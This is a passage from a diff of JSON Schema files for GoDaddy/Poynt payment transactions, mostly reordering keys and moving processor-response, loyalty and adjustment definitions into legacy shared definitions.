}, + "stateResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" } }, - "batchAutoClosedByHost": { - "type": "string" - }, - "batchId": { - "type": "string", - "description": "The ID of the settlement batch that this transaction is assigned to.", - "maxLength": 64 - }, - "cardToken": { - "type": "string", - "maxLength": 256 - }, - "cvActualResult": { - "type": "string" - }, - "cvResult": { - "description": "The card verification results.", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "debitResponseCode": { - "type": "string" - }, - "echeckProcessor": { - "description": "eCheck(electronic payment funded by the buyer's bank account) processor used by the business.", - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "issuerResponseCode": { - "type": "string" - }, - "pinSessionKey": { - "type": "string" - }, - "processedAt": { - "type": "string", - "format": "date-time", - "description": "Date / time of transaction received by the processor host." - }, - "processor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] + "type": "object", + "x-legacy": true + }, + "LegacyAVSResultType": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "LegacyCVResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "LegacyECheckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessorStatus": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "LegacyProviderVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } }, - "providerVerification": { - "description": "Object that carries provider verification related fields.", - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } + "type": "object" + }, + "LegacyStrongCustomerAuthenticationResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + } + }, + "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Legacy Processor response fields.", + "properties": { + "acquirer": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "adapterId": { + "type": "string" + }, + "adapterVariant": { + "type": "string" + }, + "avsResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cardHolderNameResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cityResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "countryResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "phoneResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "postalCodeResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "stateResult": { + "$ref": "#/$defs/LegacyAVSResultType" } }, - "ps2000Data": { - "type": "string", - "description": "Payment Service 2000 data to process a secondary transaction" - }, - "retrievalRefNum": { - "type": "string", - "maxLength": 64 - }, - "scaResult": { - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - }, - "status": { - "description": "Possible values are Successful or Failure.", - "enum": [ - "Successful", - "Failure" - ], - "type": "string" - }, - "statusCode": { - "type": "string", - "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", - "maxLength": 64 - }, - "statusMessage": { - "type": "string", - "description": "Will be whatever message came back from the acquirer.", - "maxLength": 512 + "type": "object", + "x-legacy": true + }, + "batchAutoClosedByHost": { + "type": "string" + }, + "batchId": { + "description": "The ID of the settlement batch that this transaction is assigned to.", + "maxLength": 64, + "type": "string" + }, + "cardToken": { + "maxLength": 256, + "type": "string" + }, + "cvActualResult": { + "type": "string" + }, + "cvResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "debitResponseCode": { + "type": "string" + }, + "echeckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "issuerResponseCode": { + "type": "string" + }, + "pinSessionKey": { + "type": "string" + }, + "processedAt": { + "description": "Date / time of transaction received by the processor host.", + "format": "date-time", + "type": "string" + }, + "processor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "providerVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } }, - "transactionId": { - "type": "string", - "description": "The transactionID that came back from the acquirer.", - "maxLength": 64 - } + "type": "object" + }, + "ps2000Data": { + "description": "Payment Service 2000 data to process a secondary transaction", + "type": "string" + }, + "retrievalRefNum": { + "maxLength": 64, + "type": "string" + }, + "scaResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + }, + "status": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "statusCode": { + "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", + "maxLength": 64, + "type": "string" + }, + "statusMessage": { + "description": "Will be whatever message came back from the acquirer.", + "maxLength": 512, + "type": "string" + }, + "transactionId": { + "description": "The transactionID that came back from the acquirer.", + "maxLength": 64, + "type": "string" } - } + }, + "type": "object", + "x-legacy": true + }, + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "format": "int64", + "type": "integer" } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string", - "description": "Discriminator field representing the type of processor response" - } - }, - "required": [ - "processorType" - ] + }, + "title": "Debit Card Processor Response", + "type": "object" + } + ], + "properties": { + "processorType": { + "description": "Discriminator field representing the type of processor response", + "type": "string" + } }, - "reason": { - "type": "object", - "description": "Reason for this adjustment.", - "properties": { - "program": { - "type": "string", + "required": [ + "processorType" + ], + "title": "Processor Response", + "type": "object" + }, + "reason": { + "description": "Reason for this adjustment.", + "properties": { + "program": { + "description": "The reason for the transaction - currently only applicable for lodging.", + "enum": [ + "NO_SHOW", + "PURCHASE", + "CARD_DEPOSIT", + "DELAYED_CHARGE", + "EXPRESS_SERVICE", + "ASSURED_RESERVATION" + ], + "type": "string" + }, + "programFor": { + "description": "Some programs require this additional programFor list to be populated.", + "items": { "enum": [ - "NO_SHOW", - "PURCHASE", - "CARD_DEPOSIT", - "DELAYED_CHARGE", - "EXPRESS_SERVICE", - "ASSURED_RESERVATION" + "RESTAURANT", + "GIFT_SHOP", + "MINI_BAR", + "TELEPHONE", + "LAUNDRY", + "OTHER" ], - "description": "The reason for the transaction - currently only applicable for lodging." + "type": "string" }, - "programFor": { - "description": "Some programs require this additional programFor list to be populated.", - "type": "array", - "items": { - "type": "string", - "enum": [ - "RESTAURANT", - "GIFT_SHOP", - "MINI_BAR", - "TELEPHONE", - "LAUNDRY", - "OTHER" - ] - } - } + "type": "array" } }, - "sequence": { - "type": "integer", - "description": "This field indicates the sequence in which this AdjustmentRecord happened in the adjustment history." - }, - "signature": { - "format": "byte", - "type": "string" - }, - "signatureCaptured": { - "type": "boolean", - "description": "Shows whether signature was captured for this adjustment." - }, - "systemTraceAuditNumber": { - "type": "string" - }, - "transactionNumber": { - "type": "string" - } + "type": "object" }, - "description": "This object shows a summary of the adjustment." - } - }, - "amountsAdjusted": { - "type": "boolean" - }, - "approvalCode": { - "type": "string", - "description": "An approval code received over the phone (in case of terminal going offline) can be passed here as part of a SALE transaction. This process in the industry is often referred to as forced post or forced sale.", - "maxLength": 32 - }, - "authOnly": { - "type": "boolean", - "description": "This is an in/out field. If not passed, it will default to false. This tells the terminal to only authorize and wait for the merchant to capture it." - }, - "chargebackStatus": { - "type": "string", - "enum": [ - "CREATED", - "DISPUTED", - "MERCHANT_WON", - "MERCHANT_LOST" - ] - }, - "context": { - "description": "[Required] Contains context about the transaction. TransmissionAtLocal must be provided. All other fields are optional.", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "customerLanguage": { - "type": "string", - "description": "The customer's language preference for the transaction.", - "minLength": 2, - "maxLength": 2 - }, - "customerUserId": { - "type": "integer", - "format": "int64", - "description": "A Poynt generated customer id that is returned in the response. This id is only assigned only to a customer performing a card transaction." - }, - "emailReceipt": { - "type": "boolean" - }, - "intent": { - "type": "string", - "description": "This field is used to inform the transaction intent. Client must use this field wherever applicable for better approval rate.", - "enum": [ - "UNSCHEDULED_COF_TXN", - "RECURRING_COF_TXN", - "INSTALLMENT_COF_TXN" - ] - }, - "partialAuthEnabled": { - "type": "boolean" - }, - "partiallyApproved": { - "type": "boolean" - }, - "paymentTokenUsed": { - "type": "boolean", - "description": "This means that transaction was processed with payment token." - }, - "pinCaptured": { - "type": "boolean" + "sequence": { + "description": "This field indicates the sequence in which this AdjustmentRecord happened in the adjustment history.", + "type": "integer" + }, + "signature": { + "format": "byte", + "type": "string" + }, + "signatureCaptured": { + "description": "Shows whether signature was captured for this adjustment.", + "type": "boolean" + }, + "systemTraceAuditNumber": { + "type": "string" + }, + "transactionNumber": { + "type": "string" + } + }, + "type": "object" }, - "poyntLoyalty": { - "type": "object", + "LegacyPoyntLoyalty": { "properties": { "externalId": { "type": "string" }, "loyalty": { - "type": "array", "items": { - "type": "object", "properties": { "businessLoyaltyId": { - "type": "integer", - "format": "int64" + "format": "int64", + "type": "integer" }, "campaignDescription": { "type": "string" @@ -30201,8 +20431,8 @@ "type": "string" }, "lastIncrement": { - "type": "integer", - "format": "int64" + "format": "int64", + "type": "integer" }, "loyaltyType": { "type": "string" @@ -30214,12 +20444,12 @@ "type": "string" }, "points": { - "type": "integer", - "format": "int64" + "format": "int64", + "type": "integer" }, "pointsRequired": { - "type": "integer", - "format": "int64" + "format": "int64", + "type": "integer" }, "rewardDescription": { "type": "string" @@ -30228,36 +20458,36 @@ "type": "string" }, "totalPoints": { - "type": "integer", - "format": "int64" + "format": "int64", + "type": "integer" }, "totalSpend": { - "type": "integer", - "format": "int64" + "format": "int64", + "type": "integer" }, "totalVisits": { - "type": "integer", - "format": "int64" + "format": "int64", + "type": "integer" } - } - } + }, + "type": "object" + }, + "type": "array" }, "loyaltyId": { - "type": "integer", - "format": "int64" + "format": "int64", + "type": "integer" }, "reward": { - "type": "array", "items": { - "type": "object", "properties": { "businessLoyaltyId": { - "type": "integer", - "format": "int64" + "format": "int64", + "type": "integer" }, "expireAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "newReward": { "type": "boolean" @@ -30272,8 +20502,8 @@ "type": "string" }, "rewardId": { - "type": "integer", - "format": "int64" + "format": "int64", + "type": "integer" }, "status": { "type": "string" @@ -30282,700 +20512,671 @@ "type": "string" }, "value": { - "type": "integer", - "format": "int64" + "format": "int64", + "type": "integer" } - } - } + }, + "type": "object" + }, + "type": "array" } - } - }, - "processorOptions": { - "description": "A name/value pair list that could be persisted and later retreived - primarily to store additional payment related data that get passed through to the processor.", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorTransactionId": { - "type": "string", - "description": "The capability to enter a transaction id along with approval code.", - "maxLength": 64 + }, + "type": "object" }, - "reason": { - "type": "object", + "LegacyPoyntLoyaltyCampaign": { "properties": { - "program": { - "type": "string", - "enum": [ - "NO_SHOW", - "PURCHASE", - "CARD_DEPOSIT", - "DELAYED_CHARGE", - "EXPRESS_SERVICE", - "ASSURED_RESERVATION" - ], - "description": "The reason for the transaction - currently only applicable for lodging." + "businessLoyaltyId": { + "format": "int64", + "type": "integer" }, - "programFor": { - "description": "Some programs require this additional programFor list to be populated.", - "type": "array", - "items": { - "type": "string", - "enum": [ - "RESTAURANT", - "GIFT_SHOP", - "MINI_BAR", - "TELEPHONE", - "LAUNDRY", - "OTHER" - ] - } + "campaignDescription": { + "type": "string" + }, + "campaignName": { + "type": "string" + }, + "lastIncrement": { + "format": "int64", + "type": "integer" + }, + "loyaltyType": { + "type": "string" + }, + "loyaltyUnit": { + "type": "string" + }, + "nextTier": { + "type": "string" + }, + "points": { + "format": "int64", + "type": "integer" + }, + "pointsRequired": { + "format": "int64", + "type": "integer" + }, + "rewardDescription": { + "type": "string" + }, + "tier": { + "type": "string" + }, + "totalPoints": { + "format": "int64", + "type": "integer" + }, + "totalSpend": { + "format": "int64", + "type": "integer" + }, + "totalVisits": { + "format": "int64", + "type": "integer" } }, - "description": "Reason for transaction - currently only applicable for lodging." - }, - "receiptEmailAddress": { - "type": "string", - "description": "Email address collected from the customer.", - "maxLength": 512 + "type": "object" }, - "receiptPhone": { - "type": "object", + "LegacyPoyntLoyaltyReward": { "properties": { - "areaCode": { - "type": "string" - }, - "createdAt": { - "type": "string", - "format": "date-time" + "businessLoyaltyId": { + "format": "int64", + "type": "integer" }, - "extensionNumber": { + "expireAt": { + "format": "date-time", "type": "string" }, - "id": { - "type": "integer", - "format": "int64" + "newReward": { + "type": "boolean" }, - "ituCountryCode": { + "postText": { "type": "string" }, - "localPhoneNumber": { + "preText": { "type": "string" }, - "primaryDayTime": { - "type": "boolean" + "rewardDescription": { + "type": "string" }, - "primaryEvening": { - "type": "boolean" + "rewardId": { + "format": "int64", + "type": "integer" }, "status": { - "type": "string", - "enum": [ - "ADDED", - "CONFIRMED" - ] + "type": "string" }, "type": { - "type": "string", - "enum": [ - "HOME", - "WORK", - "BUSINESS", - "MOBILE", - "FAX", - "PAGER", - "RECEIPT", - "OTHER" - ] + "type": "string" }, - "updatedAt": { - "type": "string", - "format": "date-time" + "value": { + "format": "int64", + "type": "integer" } }, - "description": "Phone collected from the customer to SMS receipt." + "type": "object" + } + }, + "$id": "https://poynt.godaddy.com/schemas/transaction/metadata.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "This is the base object for the transactions resource. Transactions resource represents a financial transaction. It can be used to save the transaction in the Poynt system as well as initiate interaction with the acquirer to move funds.", + "properties": { + "actionVoid": { + "type": "boolean" }, - "references": { - "description": "References to orders/invoices that this transaction is for.", - "type": "array", + "adjusted": { + "description": "This is a response only field. This flag will be present on the transaction that was adjusted and its parents. Most processors only allow adjustment on an Authorize transaction, but some do allow adjustment on Sale or Capture too.", + "type": "boolean" + }, + "adjustmentHistory": { + "description": "If the transaction has been adjusted (aka updated), this list will show the details of the updates.", "items": { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-reference.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Reference", - "type": "object", - "description": "Reference to a document (e.g. order or invoice) that this transaction is for", + "description": "This object shows a summary of the adjustment.", "properties": { - "value": { - "type": "string", - "maxLength": 128 + "amountChanges": { + "$ref": "../Amount.yaml", + "description": "Total amount change in this adjustment." }, - "type": { - "type": "string", - "maxLength": 32 + "amounts": { + "$ref": "../Amount.yaml", + "description": "Total amount after this adjustment." }, - "additionalLabel": { - "description": "(Optional) Label that the reference points to", - "type": "string", - "maxLength": 32 + "createdAt": { + "description": "This is a response field. The server time (in ISO-8601 format) at which this transaction was initially created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "type": "string" + }, + "exchangeRate": { + "description": "Exchange rate used for this adjustment.", + "properties": { + "businessId": { + "type": "string" + }, + "cardAmount": { + "format": "int64", + "type": "integer" + }, + "cardCurrency": { + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "cardTipAmount": { + "format": "int64", + "type": "integer" + }, + "disclaimer": { + "type": "string" + }, + "markupInfo1": { + "type": "string" + }, + "markupInfo2": { + "type": "string" + }, + "markupPercentage": { + "type": "string" + }, + "provider": { + "type": "string" + }, + "rate": { + "format": "int64", + "type": "integer" + }, + "ratePrecision": { + "format": "int64", + "type": "integer" + }, + "requestedAt": { + "format": "date-time", + "type": "string" + }, + "signature": { + "type": "string" + }, + "tipAmount": { + "format": "int64", + "type": "integer" + }, + "txnAmount": { + "format": "int64", + "type": "integer" + }, + "txnCurrency": { + "maxLength": 3, + "minLength": 3, + "type": "string" + } + }, + "type": "object" + }, + "processorResponse": { + "$ref": "../processor-response/ProcessorResponse.yaml", + "description": "This object includes some important response elements received from the processor." + }, + "reason": { + "description": "Reason for this adjustment.", + "properties": { + "program": { + "description": "The reason for the transaction - currently only applicable for lodging.", + "enum": [ + "NO_SHOW", + "PURCHASE", + "CARD_DEPOSIT", + "DELAYED_CHARGE", + "EXPRESS_SERVICE", + "ASSURED_RESERVATION" + ], + "type": "string" + }, + "programFor": { + "description": "Some programs require this additional programFor list to be populated.", + "items": { + "enum": [ + "RESTAURANT", + "GIFT_SHOP", + "MINI_BAR", + "TELEPHONE", + "LAUNDRY", + "OTHER" + ], + "type": "string" + }, + "type": "array" + } + }, + "type": "object" + }, + "sequence": { + "description": "This field indicates the sequence in which this AdjustmentRecord happened in the adjustment history.", + "type": "integer" + }, + "signature": { + "format": "byte", + "type": "string" + }, + "signatureCaptured": { + "description": "Shows whether signature was captured for this adjustment.", + "type": "boolean" + }, + "systemTraceAuditNumber": { + "type": "string" + }, + "transactionNumber": { + "type": "string" } }, - "required": [ - "value", - "type" - ] - } - }, - "reversalVoid": { - "type": "boolean" - }, - "saveCardOnFile": { - "type": "boolean", - "description": "This boolean field is used to inform if user wants to save card on file with this transaction. Client must use this field wherever applicable for better approval rate." + "type": "object" + }, + "type": "array" }, - "settled": { + "amountsAdjusted": { "type": "boolean" }, - "settlementStatus": { - "type": "string", - "description": "Represents settlement status of transaction.", - "maxLength": 32 - }, - "shippingAddress": { - "type": "object", - "properties": { - "city": { - "type": "string", - "maxLength": 64 - }, - "countryCode": { - "type": "string", - "maxLength": 3 - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "The time (in ISO-8601 format) at which the address was created. E.g. 2014-09-11T23:14:44Z." - }, - "id": { - "type": "integer", - "format": "int64" - }, - "line1": { - "type": "string", - "maxLength": 128 - }, - "line2": { - "type": "string", - "maxLength": 128 - }, - "postalCode": { - "type": "string", - "maxLength": 16 - }, - "postalCodeExtension": { - "type": "string", - "maxLength": 16 - }, - "primary": { - "type": "boolean" - }, - "status": { - "type": "string", - "const": "ADDED" - }, - "territory": { - "type": "string", - "maxLength": 64 - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "TerritoryType enum and territory go hand in hand. This enum specifies what kind of territory is in the territory field. E.g. in the US, this will typically be STATE." - }, - "type": { - "type": "string", - "enum": [ - "HOME", - "WORK", - "BUSINESS", - "TRANSACTION", - "OTHER" - ] - }, - "updatedAt": { - "type": "string", - "format": "date-time", - "description": "The time (in ISO-8601 format) at which the address was updated. E.g. 2014-09-11T23:14:44Z." - } + "approvalCode": { + "description": "An approval code received over the phone (in case of terminal going offline) can be passed here as part of a SALE transaction. This process in the industry is often referred to as forced post or forced sale.", + "maxLength": 32, + "type": "string" + }, + "authOnly": { + "description": "This is an in/out field. If not passed, it will default to false. This tells the terminal to only authorize and wait for the merchant to capture it.", + "type": "boolean" + }, + "chargebackStatus": { + "enum": [ + "CREATED", + "DISPUTED", + "MERCHANT_WON", + "MERCHANT_LOST" + ], + "type": "string" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "description": "A shipping address associated with the transaction." + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - "signature": { - "description": "Signature collected from the customer.", - "format": "byte", + "customerLanguage": { + "description": "The customer's language preference for the transaction.", + "maxLength": 2, + "minLength": 2, "type": "string" }, - "signatureCaptured": { - "type": "boolean", - "description": "This is a response field. This field could be used by the client to inform that signature has or will soon be captured. The server uses this field to inform whether a signature has been captured." + "customerUserId": { + "description": "A Poynt generated customer id that is returned in the response. This id is only assigned only to a customer performing a card transaction.", + "format": "int64", + "type": "integer" }, - "signatureRequired": { + "emailReceipt": { "type": "boolean" }, - "status": { - "type": "string", + "intent": { + "description": "This field is used to inform the transaction intent. Client must use this field wherever applicable for better approval rate.", "enum": [ - "CREATED", - "SAVED", - "AUTHORIZED", - "PENDING", - "PARTIALLY_CAPTURED", - "CAPTURED", - "DECLINED", - "PARTIALLY_CAPTURED_AND_PARTIALLY_REFUNDED", - "PARTIALLY_REFUNDED", - "REFUNDED", - "VOIDED", - "STEP_UP" + "UNSCHEDULED_COF_TXN", + "RECURRING_COF_TXN", + "INSTALLMENT_COF_TXN" ], - "description": "If funding source is CASH, only CAPTURED and REFUNDED are the possible options. The SAVE feature is not applicable to CASH." + "type": "string" }, - "stayType": { - "type": "string", - "enum": [ - "GENERAL_CONTAINER", - "REGULAR_STAY", - "QUICK_STAY", - "NON_LODGING_SALE", - "NON_LODGING_NRR" - ] + "partialAuthEnabled": { + "type": "boolean" }, - "systemTraceAuditNumber": { - "type": "string", - "description": "This is a unique number per transaction session generated by the terminal.", - "minLength": 1, - "maxLength": 6 + "partiallyApproved": { + "type": "boolean" }, - "voided": { + "paymentTokenUsed": { + "description": "This means that transaction was processed with payment token.", "type": "boolean" - } - } - }, - "references": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-reference.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Reference", - "type": "object", - "description": "Reference to a document (e.g. order or invoice) that this transaction is for", - "properties": { - "value": { - "type": "string", - "maxLength": 128 - }, - "type": { - "type": "string", - "maxLength": 32 - }, - "additionalLabel": { - "description": "(Optional) Label that the reference points to", - "type": "string", - "maxLength": 32 - } }, - "required": [ - "value", - "type" - ] - }, - "description": "References to the transaction" - }, - "links": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schema/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target.", - "type": "string", - "format": "uri" - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data.", - "type": "string", - "format": "uri" - } + "pinCaptured": { + "type": "boolean" }, - "required": [ - "rel", - "href" - ] - }, - "description": "Links associated with this transaction" - } - }, - "required": [ - "type", - "amount", - "createdAt" - ] - } - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schema/common/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Error", - "description": "The error information.", - "properties": { - "name": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "correlationId": { - "type": "string", - "description": "Internal identifier used for correlation purposes." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - }, - "informationLink": { - "type": "string", - "description": "The URI for detailed information related to this error for the developer." - }, - "details": { - "type": "array", - "description": "An array of additional details about the error. Required for client-side `4XX` errors.", - "additionalItems": false, - "items": { - "$id": "https://godaddy.com/schema/common/error-details.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error Details", - "type": "object", - "description": "The error details. Required for client-side `4XX` errors.", - "properties": { - "field": { - "type": "string", - "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors." - }, - "value": { - "type": "string", - "description": "The value of the field that caused the error." - }, - "location": { - "type": "string", - "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", - "default": "body" - }, - "issue": { - "type": "string", - "description": "The unique fine-grained application-level error code." + "poyntLoyalty": { + "properties": { + "externalId": { + "type": "string" + }, + "loyalty": { + "items": { + "$ref": "#/$defs/LegacyPoyntLoyaltyCampaign" 